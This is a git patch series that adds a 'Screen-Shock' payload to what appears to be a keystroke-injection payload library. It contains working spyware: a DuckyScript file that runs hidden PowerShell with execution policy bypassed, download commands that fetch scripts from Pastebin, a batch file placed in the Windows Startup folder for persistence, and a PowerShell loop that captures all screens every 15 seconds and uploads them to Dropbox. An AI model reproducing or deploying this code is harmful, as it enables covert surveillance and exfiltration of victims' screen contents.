From e4386358a9aa0afca60f1e4710294e473ca13add Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 7 Sep 2022 19:56:31 -0400 Subject: [PATCH 1/2] Add files via upload --- .../library/exfiltration/Screen-Shock/I.bat | 3 + .../exfiltration/Screen-Shock/README.md | 117 ++++++++++++++++++ .../library/exfiltration/Screen-Shock/c.ps1 | 46 +++++++ .../exfiltration/Screen-Shock/payload.txt | 17 +++ .../exfiltration/Screen-Shock/placeholder | 1 + 5 files changed, 184 insertions(+) create mode 100644 payloads/library/exfiltration/Screen-Shock/I.bat create mode 100644 payloads/library/exfiltration/Screen-Shock/README.md create mode 100644 payloads/library/exfiltration/Screen-Shock/c.ps1 create mode 100644 payloads/library/exfiltration/Screen-Shock/payload.txt create mode 100644 payloads/library/exfiltration/Screen-Shock/placeholder diff --git a/payloads/library/exfiltration/Screen-Shock/I.bat b/payloads/library/exfiltration/Screen-Shock/I.bat new file mode 100644 index 0000000..665c9be --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/I.bat @@ -0,0 +1,3 @@ +@echo off +powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}" +pause diff --git a/payloads/library/exfiltration/Screen-Shock/README.md b/payloads/library/exfiltration/Screen-Shock/README.md new file mode 100644 index 0000000..a53c03f --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/README.md @@ -0,0 +1,117 @@ + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
    2. +
  2. Getting Started
    3. +
  3. Contributing
    4. +
  4. Version History
    5. +
  5. Contact
    6. +
  6. Acknowledgments
    7. +
+
+ +# Screen-Shock + +This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +## Description + +This payload uses iwr to download 2 files +* I.bat +* c.ps1 + +**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup + +**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds + +Then the contents will then be sent to the DropBox for viewing pleasure + + + +## Getting Started + +### Dependencies + +* Pastebin or other file sharing service, Dropbox +* Windows 10 +* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload + +

(back to top)

+ +### Executing program + +* Plug in your device +* Device will download both files and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube + 		+ + Python + +
Twitter + 		+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Screen-Shock/c.ps1 b/payloads/library/exfiltration/Screen-Shock/c.ps1 new file mode 100644 index 0000000..2c1915d --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/c.ps1 @@ -0,0 +1,46 @@ +do{ +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +} + + + + Add-Type -AssemblyName System.Windows.Forms,System.Drawing + + $screens = [Windows.Forms.Screen]::AllScreens + + $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum + $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum + $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum + $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum + + $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height) + $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height) + $graphics = [Drawing.Graphics]::FromImage($bmp) + + $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) + + $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png") + $graphics.Dispose() + $bmp.Dispose() + + start-sleep -Seconds 15 + "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload +}until($infinity) diff --git a/payloads/library/exfiltration/Screen-Shock/payload.txt b/payloads/library/exfiltration/Screen-Shock/payload.txt new file mode 100644 index 0000000..d751396 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/payload.txt @@ -0,0 +1,17 @@ +REM Title: Screen-Shock + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +REM Target: Windows 10 + +DELAY 2000 +GUI +DELAY +STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +ENTER + +REM Remember to replace the link with your pastebin shared link for the intended files to download +REM Also remember to put in your discord webhook in c.ps1 +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file diff --git a/payloads/library/exfiltration/Screen-Shock/placeholder b/payloads/library/exfiltration/Screen-Shock/placeholder new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/placeholder @@ -0,0 +1 @@ + From f2ad19e15b982629793d956ce34a0c18bdcdb331 Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 7 Sep 2022 22:41:03 -0400 Subject: [PATCH 2/2] Update c.ps1 --- .../library/exfiltration/Screen-Shock/c.ps1 | 43 +++++++++---------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/payloads/library/exfiltration/Screen-Shock/c.ps1 b/payloads/library/exfiltration/Screen-Shock/c.ps1 index 2c1915d..e1a8905 100644 --- a/payloads/library/exfiltration/Screen-Shock/c.ps1 +++ b/payloads/library/exfiltration/Screen-Shock/c.ps1 @@ -1,26 +1,25 @@ -do{ -function DropBox-Upload { - -[CmdletBinding()] -param ( - -[Parameter (Mandatory = $True, ValueFromPipeline = $True)] -[Alias("f")] -[string]$SourceFilePath -) -$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token -$outputFile = Split-Path $SourceFilePath -leaf -$TargetFilePath="/$outputFile" -$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' -$authorization = "Bearer " + $DropBoxAccessToken -$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" -$headers.Add("Authorization", $authorization) -$headers.Add("Dropbox-API-Arg", $arg) -$headers.Add("Content-Type", 'application/octet-stream') -Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers } - +while(1){ Add-Type -AssemblyName System.Windows.Forms,System.Drawing @@ -43,4 +42,4 @@ Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Pos start-sleep -Seconds 15 "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload -}until($infinity) +}